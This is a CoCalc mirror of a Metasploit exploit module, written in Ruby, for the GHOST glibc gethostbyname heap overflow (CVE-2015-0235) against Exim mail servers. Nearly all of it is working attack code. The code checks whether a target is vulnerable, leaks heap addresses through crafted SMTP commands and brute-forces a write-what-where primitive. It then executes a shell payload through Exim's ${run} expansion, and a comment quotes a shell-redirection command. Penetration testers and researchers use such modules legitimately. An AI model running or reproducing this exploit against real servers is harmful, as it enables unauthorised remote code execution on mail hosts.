CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
14
'Description' => %q{
15
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
16
buffer overflow in the GNU C Library's gethostbyname functions on x86
17
and x86_64 GNU/Linux systems that run the Exim mail server.
18
},
19
'Author' => [
20
'Unknown', # Discovered and published by Qualys, Inc.
21
],
22
'License' => BSD_LICENSE,
23
'References' => [
24
['CVE', '2015-0235'],
25
['US-CERT-VU', '967332'],
26
['OSVDB', '117579'],
27
['BID', '72325'],
28
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],
29
['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],
30
['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)
31
],
32
'DisclosureDate' => '2015-01-27',
33
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
34
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
35
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^
36
'Payload' => {
37
'Space' => 255, # the shorter the payload, the higher the probability of code execution
38
'BadChars' => "", # we encode the payload ourselves, because ^
39
'DisableNops' => true,
40
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
41
},
42
'Notes' => {'AKA' => ['ghost']},
43
'Targets' => [['Automatic', {}]],
44
'DefaultTarget' => 0
45
))
46
47
register_options([
48
Opt::RPORT(25),
49
OptAddress.new('SENDER_HOST_ADDRESS', [true,
50
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
51
])
52
53
register_advanced_options([
54
OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])
55
])
56
end
57
58
def check
59
# for now, no information about the vulnerable state of the target
60
check_code = Exploit::CheckCode::Unknown
61
62
begin
63
# not exploiting, just checking
64
smtp_connect(false)
65
66
# malloc()ate gethostbyname's buffer, and
67
# make sure its next_chunk isn't the top chunk
68
69
9.times do
70
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
71
smtp_recv(HELO_CODES)
72
end
73
74
# overflow (4 bytes) gethostbyname's buffer, and
75
# overwrite its next_chunk's size field with 0x00303030
76
77
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
78
# from now on, an exception means vulnerable
79
check_code = Exploit::CheckCode::Vulnerable
80
# raise an exception if no valid SMTP reply
81
reply = smtp_recv(ANY_CODE)
82
# can't determine vulnerable state if smtp_verify_helo() isn't called
83
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
84
85
# realloc()ate gethostbyname's buffer, and
86
# crash (old glibc) or abort (new glibc)
87
# on the overwritten size field
88
89
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
90
# raise an exception if no valid SMTP reply
91
reply = smtp_recv(ANY_CODE)
92
# can't determine vulnerable state if smtp_verify_helo() isn't called
93
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
94
# a vulnerable target should've crashed by now
95
check_code = Exploit::CheckCode::Safe
96
97
rescue
98
peer = "#{rhost}:#{rport}"
99
vprint_status("Caught #{$!.class}: #{$!.message}")
100
101
ensure
102
smtp_disconnect
103
end
104
105
return check_code
106
end
107
108
def exploit
109
unless datastore['FORCE_EXPLOIT']
110
print_status("Checking if target is vulnerable...")
111
fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
112
print_good("Target is vulnerable.")
113
end
114
information_leak
115
code_execution
116
end
117
118
private
119
120
HELO_CODES = '250|451|550'
121
ANY_CODE = '[0-9]{3}'
122
123
MIN_HEAP_SHIFT = 80
124
MIN_HEAP_SIZE = 128 * 1024
125
MAX_HEAP_SIZE = 1024 * 1024
126
127
# Exim
128
ALIGNMENT = 8
129
STORE_BLOCK_SIZE = 8192
130
STOREPOOL_MIN_SIZE = 256
131
132
LOG_BUFFER_SIZE = 8192
133
BIG_BUFFER_SIZE = 16384
134
135
SMTP_CMD_BUFFER_SIZE = 16384
136
IN_BUFFER_SIZE = 8192
137
138
# GNU C Library
139
PREV_INUSE = 0x1
140
NS_MAXDNAME = 1025
141
142
# Linux
143
MMAP_MIN_ADDR = 65536
144
145
def fail_with(fail_subject, message)
146
message = "#{message}. For more info: http://r-7.co/1CAnMc0"
147
super(fail_subject, message)
148
end
149
150
def information_leak
151
print_status("Trying information leak...")
152
leaked_arch = nil
153
leaked_addr = []
154
155
# try different heap_shift values, in case Exim's heap address contains
156
# bad chars (NUL, CR, LF) and was mangled during the information leak;
157
# we'll keep the longest one (the least likely to have been truncated)
158
159
16.times do
160
done = catch(:another_heap_shift) do
161
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
162
vprint_status("#{{ heap_shift: heap_shift }}")
163
164
# write the malloc_chunk header at increasing offsets (8-byte step),
165
# until we overwrite the "503 sender not yet given" error message
166
167
128.step(256, 8) do |write_offset|
168
error = try_information_leak(heap_shift, write_offset)
169
vprint_status("#{{ write_offset: write_offset, error: error }}")
170
throw(:another_heap_shift) if not error
171
next if error == "503 sender not yet given"
172
173
# try a few more offsets (allows us to double-check things,
174
# and distinguish between 32-bit and 64-bit machines)
175
176
error = [error]
177
1.upto(5) do |i|
178
error[i] = try_information_leak(heap_shift, write_offset + i*8)
179
throw(:another_heap_shift) if not error[i]
180
end
181
vprint_status("#{{ error: error }}")
182
183
_leaked_arch = leaked_arch
184
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
185
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
186
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
187
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
188
leaked_arch = ARCH_X64
189
190
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
191
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
192
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
193
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
194
leaked_arch = ARCH_X86
195
196
else
197
throw(:another_heap_shift)
198
end
199
vprint_status("#{{ leaked_arch: leaked_arch }}")
200
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
201
202
# try different large-bins: most of them should be empty,
203
# so keep the most frequent fd_nextsize address
204
# (a pointer to the malloc_chunk itself)
205
206
count = Hash.new(0)
207
0.upto(9) do |last_digit|
208
error = try_information_leak(heap_shift, write_offset, last_digit)
209
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
210
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
211
count[error] += 1
212
end
213
vprint_status("#{{ count: count }}")
214
throw(:another_heap_shift) if count.empty?
215
216
# convert count to a nested array of [key, value] arrays and sort it
217
error_count = count.sort { |a, b| b[1] <=> a[1] }
218
error_count = error_count.first # most frequent
219
error = error_count[0]
220
count = error_count[1]
221
throw(:another_heap_shift) unless count >= 6 # majority
222
leaked_addr.push({ error: error, shift: heap_shift })
223
224
# common-case shortcut
225
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226
(leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227
leaked_addr = [leaked_addr.last] # use this one, and not another
228
throw(:another_heap_shift, true) # done
229
end
230
throw(:another_heap_shift)
231
end
232
throw(:another_heap_shift)
233
end
234
break if done
235
end
236
237
fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238
fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239
240
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241
leaked_addr = leaked_addr.first # longest
242
error = leaked_addr[:error]
243
shift = leaked_addr[:shift]
244
245
leaked_addr = 0
246
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
247
break if i >= error.length
248
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
249
end
250
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
251
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
252
fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
253
254
print_good("Successfully leaked_arch: #{leaked_arch}")
255
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256
@leaked = { arch: leaked_arch, addr: leaked_addr }
257
end
258
259
def try_information_leak(heap_shift, write_offset, last_digit = 9)
260
fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261
fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262
fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263
fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264
265
smtp_connect
266
267
# bulletproof Heap Feng Shui; the hard part is avoiding:
268
# "Too many syntax or protocol errors" (3)
269
# "Too many unrecognized commands" (3)
270
# "Too many nonmail commands" (10)
271
272
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
273
smtp_recv(250)
274
275
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
276
smtp_recv(250)
277
278
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
279
smtp_recv(250)
280
281
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
282
smtp_recv(250)
283
284
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
285
smtp_recv(250)
286
287
# overflow (3 bytes) gethostbyname's buffer, and
288
# overwrite its next_chunk's size field with 0x003?31
289
# ^ last_digit
290
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
291
begin # ^ 0x30 | PREV_INUSE
292
smtp_recv(HELO_CODES)
293
294
smtp_send("RSET")
295
smtp_recv(250)
296
297
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
298
smtp_recv(503, 'sender not yet given')
299
300
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
301
smtp_recv(500, '\A500 unrecognized command\r\n\z')
302
303
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
304
smtp_recv(500, '\A500 unrecognized command\r\n\z')
305
306
smtp_send("DATA")
307
reply = smtp_recv(503)
308
309
lines = reply[:lines]
310
fail if lines.size <= 3
311
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314
315
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
317
# but happens with lower probability)
318
319
error = lines[+1..-3].join("")
320
error.sub!(/\A503-/mn, "")
321
error.sub!(/\r\n\z/mn, "")
322
error.gsub!(/\r\n503-/mn, "\n")
323
return error
324
325
rescue
326
return nil
327
end
328
329
ensure
330
smtp_disconnect
331
end
332
333
def code_execution
334
print_status("Trying code execution...")
335
336
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338
# that rogue child processes cannot use them.
339
340
fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341
fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
346
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
347
vprint_status("Command: #{command}")
348
349
# don't try to execute commands directly, try a very simple ACL first,
350
# to distinguish between exploitation-problems and shellcode-problems
351
352
acldrop = "drop message="
353
message = rand_text_alpha(command.length - acldrop.length)
354
acldrop += message
355
356
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
357
max_heap_addr = @leaked[:addr]
358
min_heap_addr = nil
359
survived = nil
360
361
# we later fill log_buffer and big_buffer with alpha chars,
362
# which creates a safe-zone at the beginning of the heap,
363
# where we can't possibly crash during our brute-force
364
365
# 4, because 3 copies of sender_helo_name, and step_len;
366
# start big, but refine little by little in case
367
# we crash because we overwrite important data
368
369
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
370
loop do
371
372
sender_helo_name = "A" * helo_len
373
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
374
375
# the 3 copies of sender_helo_name, allocated by
376
# host_build_sender_fullhost() in POOL_PERM memory
377
378
helo_ip_size = ALIGNMENT +
379
sender_helo_name[+1..-2].length
380
381
sender_fullhost_size = ALIGNMENT +
382
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
383
384
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
385
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
386
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
387
).length
388
389
# fit completely into the safe-zone
390
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
391
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
392
loop do
393
394
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
395
# with alpha chars, which creates another safe-zone at the end of the heap)
396
heap_addr = max_heap_addr
397
loop do
398
399
# try harder the first time around: we obtain better
400
# heap boundaries, and we usually hit our ACL faster
401
402
(min_heap_addr ? 1 : 2).times do
403
404
# try the same heap_addr several times, but with different random offsets,
405
# in case we crash because our hijacked storeblock's length field is too small
406
# (we don't control what's stored at heap_addr)
407
408
rand_offset = rand(max_rand_offset)
409
vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
410
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
411
vprint_status("#{{ reply: reply }}") if reply
412
413
if reply and
414
reply[:code] == "550" and
415
# detect the parsed ACL, not the "still in text form" ACL (with "=")
416
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
417
print_good("Brute-force SUCCESS")
418
print_good("Please wait for reply...")
419
# execute command this time, not acldrop
420
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
421
vprint_status("#{{ reply: reply }}")
422
return handler
423
end
424
425
if not min_heap_addr
426
if reply
427
fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
428
survived = heap_addr
429
else
430
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431
# survived should point to our safe-zone at the beginning of the heap
432
fail_with(Failure::UnexpectedReply, "never survived") if not survived
433
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
434
min_heap_addr = survived
435
end
436
end
437
end
438
end
439
440
heap_addr -= step_len
441
break if min_heap_addr and heap_addr < min_heap_addr
442
end
443
444
break if step_len < 1024
445
step_len /= 2
446
end
447
448
helo_len /= 2
449
break if helo_len < 1024
450
# ^ otherwise the 3 copies of sender_helo_name will
451
# fit into the current_block of POOL_PERM memory
452
end
453
fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454
end
455
456
# our write-what-where primitive
457
def try_code_execution(len, what, where)
458
fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459
fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460
461
x86 = (@leaked[:arch] == ARCH_X86)
462
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
464
last_digit = 1 + rand(9)
465
466
smtp_connect
467
468
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
469
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
470
"501 : sender address must contain a domain\r\n\0".length)
471
smtp_recv(501, 'sender address must contain a domain')
472
473
smtp_send("RSET")
474
smtp_recv(250)
475
476
# bulletproof Heap Feng Shui; the hard part is avoiding:
477
# "Too many syntax or protocol errors" (3)
478
# "Too many unrecognized commands" (3)
479
# "Too many nonmail commands" (10)
480
481
# / 5, because "\x7F" is non-print, and:
482
# ss = store_get(length + nonprintcount * 4 + 1);
483
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
484
smtp_recv(500, '\A500 unrecognized command\r\n\z')
485
486
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
487
smtp_recv(250)
488
489
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
490
smtp_recv(250)
491
492
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
493
smtp_recv(500, '\A500 unrecognized command\r\n\z')
494
495
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
496
smtp_recv(250)
497
498
# overflow (3 bytes) gethostbyname's buffer, and
499
# overwrite its next_chunk's size field with 0x003?31
500
# ^ last_digit
501
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
502
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
503
504
# auth_xtextdecode() is the only way to overwrite the beginning of a
505
# current_block of memory (the "storeblock" structure) with arbitrary data
506
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
507
# this shapes the rest of our exploit: we overwrite the beginning of the
508
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
509
# memory (allocated by auth_xtextdecode()).
510
511
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
512
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
513
auth_prefix += "."
514
515
# also fill log_buffer with alpha chars
516
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
517
smtp_recv(501, 'invalid data for AUTH')
518
519
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
520
begin
521
reply = smtp_recv(ANY_CODE)
522
return reply if reply[:code] !~ /#{HELO_CODES}/
523
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
524
525
smtp_send("MAIL FROM:<>")
526
reply = smtp_recv(ANY_CODE)
527
return reply if reply[:code] != "250"
528
529
smtp_send("RCPT TO:<postmaster>")
530
reply = smtp_recv
531
return reply
532
533
rescue
534
return nil
535
end
536
537
ensure
538
smtp_disconnect
539
end
540
541
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
542
DOT = '[.]'
543
544
def smtp_connect(exploiting = true)
545
fail_with(Failure::Unknown, "sock isn't nil") if sock
546
547
connect
548
fail_with(Failure::Unknown, "sock is nil") if not sock
549
@smtp_state = :recv
550
551
# Receiving the banner (but we don't really need to check it)
552
smtp_recv(220)
553
return if not exploiting
554
555
sender_host_address = datastore['SENDER_HOST_ADDRESS']
556
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559
end
560
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561
562
# turn helo_seen on (enable the MAIL command)
563
# call smtp_verify_helo() (force fopen() and small malloc()s)
564
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
565
smtp_send("HELO #{sender_host_address_octal}")
566
reply = smtp_recv(HELO_CODES)
567
568
if reply[:code] != "250"
569
fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571
end
572
573
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575
smtp_active_hostname = $1
576
sender_host_name = $2
577
578
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
579
sender_host_name = $2
580
sender_ident = $1
581
else
582
sender_ident = nil
583
end
584
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585
586
else
587
# can't double-check sender_host_address here, so only for advanced users
588
fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589
# worst-case scenario
590
smtp_active_hostname = "A" * NS_MAXDNAME
591
sender_host_name = "A" * NS_MAXDNAME
592
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
593
end
594
595
_sender = @sender
596
@sender = {
597
hostaddr: sender_host_address,
598
hostaddr8: sender_host_address_octal,
599
hostname: sender_host_name,
600
ident: sender_ident,
601
__smtp_active_hostname: smtp_active_hostname
602
}
603
fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
604
605
# avoid a future pathological case by forcing it now:
606
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
607
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
608
smtp_recv(501, 'sender address must contain a domain')
609
610
smtp_send("RSET")
611
smtp_recv(250, 'Reset OK')
612
end
613
614
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616
@smtp_state = :sending
617
618
if not arg_pattern
619
fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620
fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621
command = prefix
622
623
else
624
fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625
length = arg_length - arg_prefix.length - arg_suffix.length
626
fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627
argument = arg_prefix
628
case arg_pattern
629
when String
630
argument += arg_pattern * (length / arg_pattern.length)
631
argument += arg_pattern[0, length % arg_pattern.length]
632
when Method
633
argument += arg_pattern.call(length)
634
end
635
argument += arg_suffix
636
fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637
command = prefix + argument + suffix
638
end
639
640
fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641
fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643
644
# the following loop works around a bug in the put() method:
645
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646
# (or send_idx and/or send_len could be removed altogether, like here)
647
648
while command and not command.empty?
649
num_sent = sock.put(command)
650
fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651
fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652
command = command[num_sent..-1]
653
end
654
655
@smtp_state = :recv
656
end
657
658
def smtp_recv(expected_code = nil, expected_data = nil)
659
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
660
@smtp_state = :recving
661
662
failure = catch(:failure) do
663
664
# parse SMTP replies very carefully (the information
665
# leak injects arbitrary data into multiline replies)
666
667
data = ""
668
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
669
begin
670
more_data = sock.get_once
671
rescue
672
throw(:failure, "Caught #{$!.class}: #{$!.message}")
673
end
674
throw(:failure, "no more data") if more_data.nil?
675
throw(:failure, "no more data") if more_data.empty?
676
data += more_data
677
end
678
679
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
680
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
681
throw(:failure, "malformed reply (empty)") if lines.empty?
682
683
code = nil
684
lines.size.times do |i|
685
lines[i].sub!(/\A\r\n/mn, "")
686
lines[i] += "\r\n"
687
688
if i == 0
689
code = lines[i][0,3]
690
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
691
if expected_code and code !~ /\A(#{expected_code})\z/mn
692
throw(:failure, "unexpected #{code}, expected #{expected_code}")
693
end
694
end
695
696
line_begins_with = lines[i][0,4]
697
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
698
699
if line_begins_with != line_should_begin_with
700
throw(:failure, "line begins with #{line_begins_with}, " \
701
"should begin with #{line_should_begin_with}")
702
end
703
end
704
705
throw(:failure, "malformed reply (join)") if lines.join("") != data
706
if expected_data and data !~ /#{expected_data}/mn
707
throw(:failure, "unexpected data")
708
end
709
710
reply = { code: code, lines: lines }
711
@smtp_state = :send
712
return reply
713
end
714
715
fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
716
return nil
717
end
718
719
def smtp_disconnect
720
disconnect if sock
721
fail_with(Failure::Unknown, "sock isn't nil") if sock
722
@smtp_state = :disconnected
723
end
724
end
725
726